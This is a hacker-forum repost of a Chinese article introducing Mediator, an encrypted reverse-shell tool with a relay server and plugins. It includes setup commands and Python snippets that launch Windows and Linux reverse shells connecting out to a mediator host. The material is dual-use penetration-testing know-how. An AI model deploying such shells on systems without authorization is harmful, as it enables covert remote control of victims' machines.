跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

Mediator:一款功能强大的可扩展端到端加密反向Shell

精选回复

发布于

Mediator:一款功能强大的可扩展端到端加密反向Shell

61ad67c13228e.jpg

关于Mediator

Mediator是一款功能强大的可扩展端到端加密反向Shell,该工具基于新型架构实现,采用Python语言开发,能够帮助广大研究人员通过一台“Mediator”服务器来跟Shell建立连接。这样一来,研究人员就不需要处理程序设置端口转发以侦听连接。除此之外,Mediator还可以帮助我们创建插件来扩展反向Shell的功能。

值得一提的是,我们不仅可以将Mediator的脚本作为独立的可执行文件运行,也可以将它们导入到其他渗透测试或事件响应工具中进行集成。

工具体系架构

Mediator受到了端到端加密聊天应用程序的启发,因此Mediator使用了一种独特的方法来实现反向Shell的客户端/服务器模型。Mediator使用了如下所示的方法:

客户端反向Shell

客户端Handler/Operator

一台服务器作为连接两端的桥梁

反向Shell和Handler会使用一个连接密钥来跟Mediator服务器进行连接。服务器会监听80端口(Handler连接)和443端口(反向Shell连接)。当客户端连接至Mediator服务器时,服务器将桥接这两个连接。此时,两个客户端之间将进行密钥交换,反向Shell和Operator之间的所有通信流量都将采用端到端加密,这样就可以确保不会有其他第三方窥探Mediator正在传输的流量数据。

插件机制

Mediator的插件机制将允许我们添加额外的命令,这些命令能够在研究人员的主机以及目标主机上执行各种代码。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/lawndoc/mediator.git

工具配置&使用

服务器端

客户端脚本可以在Windows或Linux系统上运行,但你首先需要在Linux主机上配置并开启服务器(mediator.py)。服务器基于纯Python开发,因此在使用前无需安装额外的依赖组件。接下来,我们就可以使用下列命令来启动服务器了:

$ python3 mediator.py

或者,我们也可以使用提供的Dockerfile来在容器中运行Mediator服务器(确保开启了80端口和443端口)。

客户端

如需使用客户端脚本,则需要安装requirements.txt中定义的所有依赖组件,我们可以使用下列命令实现:

$ pip3 install -r requirements.txt

Mediator服务器地址

在使用Python脚本时,我们首先需要实例化中介主机的地址:

Handler类

from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run()

WindowsRShell类

from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run()

如果直接通过Shell执行客户端脚本,则则可以对脚本底部的地址进行硬编码,或者通过-s或--server参数来指定服务器地址:

handler.py

$ python3 handler.py -s example.com

windowsTarget.py

> python windowsTarget.py -s example.com

连接密钥

服务器只接受前缀为“#!ConnectionKey”的密钥,默认的连接密钥为“#!ConnectionKey_CHANGE_ME!!!”。

如需修改Python脚本所使用的连接密钥,可以选择在实例化时提供连接密钥:

Handler类

from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()

LinuxRShell类

from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()

或者, 在Shell中运行客户端脚本时,通过-c或--connection-key参数来指定连接密钥。

项目地址

Mediator:【GitHub传送门】

参考资料

  • https://github.com/lawndoc/mediator/blob/main/mediator.py
  • https://github.com/lawndoc/mediator/blob/main/Dockerfile
  • https://github.com/lawndoc/mediator/blob/main/requirements.txt

本文作者:Alpha_h4ck, 转载请注明来自FreeBuf.COM

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。